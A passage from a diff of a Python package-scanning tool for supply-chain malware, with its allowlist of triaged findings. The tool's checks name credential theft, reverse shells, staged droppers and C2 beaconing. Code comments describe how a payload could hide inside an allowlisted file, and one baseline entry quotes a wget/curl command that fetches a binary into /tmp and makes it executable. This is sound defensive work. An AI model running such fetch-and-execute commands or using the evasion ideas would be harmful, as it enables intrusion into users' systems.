dedup + # here; at worst the fallback re-folds an over-cap span into the same + # digest, which stays deterministic and still reopens on a change. + if len(out) < _MAX_EVIDENCE_SPANS: + seen.add(span) + _emit(_render(*span)) + if max_matches and len(out) >= max_matches: + return " | ".join(out) + + # Precompute newline offsets once so mapping a match offset to its 1-based line + # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter + # made this fallback quadratic on a minified file with thousands of matches. + nl = [p for p, ch in enumerate(content) if ch == "\n"] + for m in pattern.finditer(content): + start = bisect.bisect_left(nl, m.start()) + 1 + end = bisect.bisect_left(nl, m.end()) + 1 + if end <= start or (start, end) in seen: + continue # single-line matches are already covered by the pass above + # A giant greedy DOTALL span is bound by the full digest of its content + # (via _render, which renders a >12-line span as a head line plus a sha256 + # of the whole span). Binding only the anchors leaves the bridged interior + # unhashed, so an attacker could insert a new cross-line payload (a `/tmp` + # line and a later `subprocess` line, sharing no single line so the + # per-line pass never binds them) between unchanged outer anchors and keep + # the same key. Digesting the interior reopens on any such change; a pure + # line shift stays stable because the digest is over the markerless code. + if len(out) < _MAX_EVIDENCE_SPANS: + seen.add((start, end)) + _emit(_render(start, end)) + if max_matches and len(out) >= max_matches: + break + if overflow_count: + # The overflow digest was accumulated from the canonicalized (L:-less) + # spans as they were emitted, so a pure line shift above the overflow + # region does not change it and reopen an otherwise-unchanged finding, + # matching the per-span key's line-shift stability. + out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(out) + + +def _embedded_key_evidence(content: str) -> str: + """Key evidence that also pins the full PEM block(s) via a digest, so a key + body swapped under the same BEGIN marker reopens the finding (single-line and + DER keys are already bound by their full matched line).""" + ev = _extract_evidence(content, RE_EMBEDDED_KEYS) + blocks = RE_PEM_BLOCK.findall(content) + if blocks: + digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest() + ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}" + return ev + + +def _blob_digest(content: str) -> tuple[str, str]: + """First large blob (for display) plus a digest binding EVERY large blob, so + an appended or swapped encoded payload reopens the finding rather than riding + an unchanged first blob. Assumes at least one blob is present (single-blob + files keep the prior single-blob digest, so the baseline does not drift).""" + blobs = RE_LARGE_BLOB.findall(content) + digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest() + return blobs[0], digest # Non-Python checkers @@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "JS embeds credential regexes AND makes network calls (stealer)", - _extract_evidence(content, RE_TOKEN_REGEX), + f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) if has_workflow_inj: @@ -1202,17 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: _extract_evidence(content, RE_WORKFLOW_INJECT), ) ) - if is_large and not findings: - findings.append( - Finding( - HIGH, - package, - filename, - f"Python wheel ships large ({len(content) // 1024} KB) JS bundle " - "(uncommon; manually review)", - "", + # Pin the whole file's content digest to EVERY JS finding (not just large + # bundles). _extract_evidence blanks only Python string forms before counting + # brackets, so a JS backtick template literal that contains `)` can close a + # call's span early and omit the option/body lines that follow; binding the + # full content means a change to those omitted lines still reopens instead of + # riding the matched-line evidence. A large bundle with no other heuristic is a + # standalone HIGH. + if findings or is_large: + digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() + if findings: + for f in findings: + f.evidence = f"{f.evidence} bundle-sha256:{digest}" + else: + findings.append( + Finding( + HIGH, + package, + filename, + # Size stays out of the check label (from main) so the baseline + # key does not drift when a benign bundle grows; the full-content + # digest below still binds the bytes so a payload swap reopens. + "Python wheel ships large JS bundle (uncommon; manually review)", + f"sha256: {digest}", + ) ) - ) return findings @@ -1232,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] if RE_DEV_TOOL_HIJACK.search(content) and ( RE_NETWORK.search(content) or RE_SUBPROCESS.search(content) ): + # Bind the hook AND the network/exec signal so a changed exfil reopens. + evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"] + if RE_NETWORK.search(content): + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if RE_SUBPROCESS.search(content): + evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}") findings.append( Finding( CRITICAL, @@ -1239,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] filename, "Shell installs developer-tool persistence hook (.bashrc / " "profile.d / vscode tasks) AND has network or exec", - _extract_evidence(content, RE_DEV_TOOL_HIJACK), + "\n".join(evidence), ) ) if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content): @@ -1249,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] package, filename, "Shell embeds credential regexes AND makes network calls", - _extract_evidence(content, RE_TOKEN_REGEX), + f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) if RE_WORKFLOW_INJECT.search(content): @@ -2516,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]: # Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can # enforce without drowning in legitimate-library noise. Matched on -# ``(package, basename(filename), check)`` -- not evidence text -- so a version -# bump does not reopen a finding, but a *new* kind of finding in a listed file -# is a different check and still fails. Regenerate with ``--write-baseline``. +# (package, package-relative file, check, evidence hash); the hash strips +# ``L:`` markers so version bumps and line shifts do not reopen an entry, +# but changed flagged code does. Regenerate with ``--write-baseline``. _DEFAULT_BASELINE_PATH = os.path.join( os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json" @@ -2545,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str: return _RE_SDIST_ROOT.sub("", filename, count = 1) -def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, package-relative path, check. +# Evidence joins matched spans with " | " and a newline between labelled groups, +# each span tagged "L: ". Split only on those real delimiters (a " | " before +# a marker, or a newline), never on a bare "|" -- matched code may contain a +# bitwise-or or union type. The prefix strips only a genuine leading marker, an +# optional "Label: " then "L: "; a marker-like "L:" inside raw code (e.g. +# a .pth import line) has no leading marker and is left intact. +_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n") +_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?") - The package-relative path (not just basename) keeps the key stable across - version bumps while still distinguishing same-named files like ``utils.py``. + +def _canon_evidence(evidence: str) -> str: + """Matched code lines in discovery order (markers removed), duplicates kept. + + Splits evidence on its real span delimiters, drops each span's leading + label / line-number marker, and keeps the code with its indentation. Line + shifts are absorbed by stripping the L: markers, not by sorting, so order + stays significant: reordering matched lines (executable context, e.g. the + arguments of a multi-line call) reopens the finding. Keeping duplicates means + an appended identical occurrence still changes the key.""" + spans = [] + for s in _RE_EVIDENCE_SPLIT.split(evidence or ""): + s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip() + if s: + spans.append(s) + return "\n".join(spans) + + +def _evidence_hash(evidence: str) -> str: + """Stable digest of the canonical matched evidence.""" + return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest() + + +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: package, package-relative path, check, evidence hash. + + The evidence hash is over the set of matched code, so the key survives version + bumps, line shifts and reordering but reopens when the flagged code changes -- + so a future payload in a baselined file/check is not auto-suppressed. """ - return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check) + return ( + _norm_pkg(f.package), + _relpath_in_package(f.filename), + f.check, + _evidence_hash(f.evidence), + ) -def _load_baseline(path: str) -> set[tuple[str, str, str]]: +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -2564,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() - keys: set[tuple[str, str, str]] = set() - for e in data.get("entries", []): + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() + entries = data.get("entries", []) + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 + for e in entries: + if not isinstance(e, dict): + continue try: - keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"])) + # Use the reviewed hash; else recompute it from the stored evidence. + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg(e["package"]), + _relpath_in_package(e["file"]), + e["check"], + evidence_hash, + ) + ) except (KeyError, TypeError): continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) return keys def _write_baseline(path: str, findings: list[Finding]) -> None: """Persist CRITICAL/HIGH findings as an allowlist for human triage.""" entries = [] - seen: set[tuple[str, str, str]] = set() + seen: set[tuple[str, str, str, str]] = set() for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)): if f.severity not in (CRITICAL, HIGH): continue @@ -2590,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None: "file": _relpath_in_package(f.filename), "check": f.check, "severity": f.severity, - "evidence": f.evidence[:240], + "evidence": f.evidence, + "evidence_hash": _evidence_hash(f.evidence), } ) doc = { "_comment": ( "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding " "manually judged benign. Matched on (package, package-relative file, " - "check); evidence/severity are for review only. Regenerate with " - "--write-baseline AFTER reviewing every line." + "check, evidence_hash); evidence_hash is over the matched code with " + "L: markers stripped, so version bumps and line shifts do not " + "reopen an entry but changed code does. severity and evidence are for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": 1, "entries": entries, @@ -2610,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None: def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json index 67952c24f1..27fa801a2a 100644 --- a/scripts/scan_packages_baseline.json +++ b/scripts/scan_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line.", + "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.", "version": 1, "entries": [ { @@ -7,1323 +7,1536 @@ "file": "botocore/credentials.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):" + "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):", + "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6" }, { "package": "botocore", "file": "botocore/httpsession.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(" + "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )", + "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2'\nNetwork: L32: from urllib.request import getpro" + "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass" + "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Reads credential paths AND makes network calls", "severity": "CRITICAL", - "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass" + "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1" }, { "package": "click", "file": "click/testing.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L91: os.dup2(self._tmpfile.fileno(), self._targetfd) | L95: os.dup2(self.saved_fd, self._targetfd)" + "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)", + "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1" }, { "package": "datasets", "file": "datasets/utils/file_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L441: while True:" + "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da", + "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d" + }, + { + "package": "datasets", + "file": "datasets/utils/file_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea", + "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c" }, { "package": "diffusers", "file": "diffusers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L1052: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "diffusers", "file": "diffusers/utils/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, st" + "evidence": "Env: L236: value = os.environ[key]\nNetwork: L691: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)", + "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9" }, { "package": "dill", "file": "dill/_objects.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()" - }, - { - "package": "evaluate", - "file": "evaluate/utils/file_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L261: while True:" - }, - { - "package": "execnet", - "file": "execnet/gateway_base.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L1783: os.dup2(fd, 0) | L1789: os.dup2(fd, 1) | L1794: os.dup2(fd, 2)" + "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()", + "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850" }, { "package": "fastapi", "file": "fastapi/routing.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L579: while True:" + "evidence": "L586: while True: sha256:251135b5ebfdd1248916449f32262575e003ef64382501c65b7e4061d67bda45", + "evidence_hash": "365aef4449c8089753d9398417cd76ab762cef547d75db70d87bca9c0b550ab5" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as clie" + "evidence": "Archive: L1353: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L624: history.replaceState(null, \"\", url);\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client:" + "evidence": "FS: L637: history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4" }, { "package": "fonttools", "file": "fontTools/diff/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())" + "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" }, { "package": "fonttools", "file": "fontTools/ttLib/ttFont.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)" + "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)", + "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01" }, { "package": "httpx", "file": "httpx/_models.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L528: history: list[Response] | None = None,\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):" + "evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):", + "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/_sandbox.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1179: while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38", + "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/_sandbox.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"", + "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L4577: while True:" + "evidence": "L4677: while True: sha256:04afb38843e4125d1476f3f04bdad0edf1f63f8d75ad49a713b13e4bc68612fb", + "evidence_hash": "18877a2502c862b46a5d7e33fa7c39ab4ef32da7e1b07f596fd455f4376770c6" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31", + "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()" + "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()", + "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L428: while True:" + "evidence": "L462: while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958", + "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/utils/_http.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306", + "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703" }, { "package": "ipython", "file": "IPython/core/interactiveshell.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)" + "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)", + "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3" }, { "package": "ipython", "file": "IPython/terminal/pt_inputhooks/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)" + "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)", + "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025" }, { "package": "ipython", "file": "IPython/utils/py3compat.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L57: exec(compiler(f.read(), fname, \"exec\"), glob, loc)" + "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", + "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17" }, { "package": "jaraco-context", "file": "jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)" + "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" }, { "package": "matplotlib", "file": "matplotlib/backends/backend_webagg.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L56: if not webbrowser.open(url):" + "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c", + "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583" }, { "package": "multiprocess", "file": "multiprocess/forkserver.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L5: import socket" + "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7", + "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814" }, { "package": "multiprocess", "file": "multiprocess/tests/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd)" + "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c", + "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24", + "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452" }, { "package": "numba", "file": "numba/pycc/decorators.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))" + "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))", + "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)" + "evidence": "L1016: os.dup2(w, fd) | L1021: os.dup2(save, fd)", + "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10" }, { "package": "numba", "file": "numba/tests/test_codegen.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])" + "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', 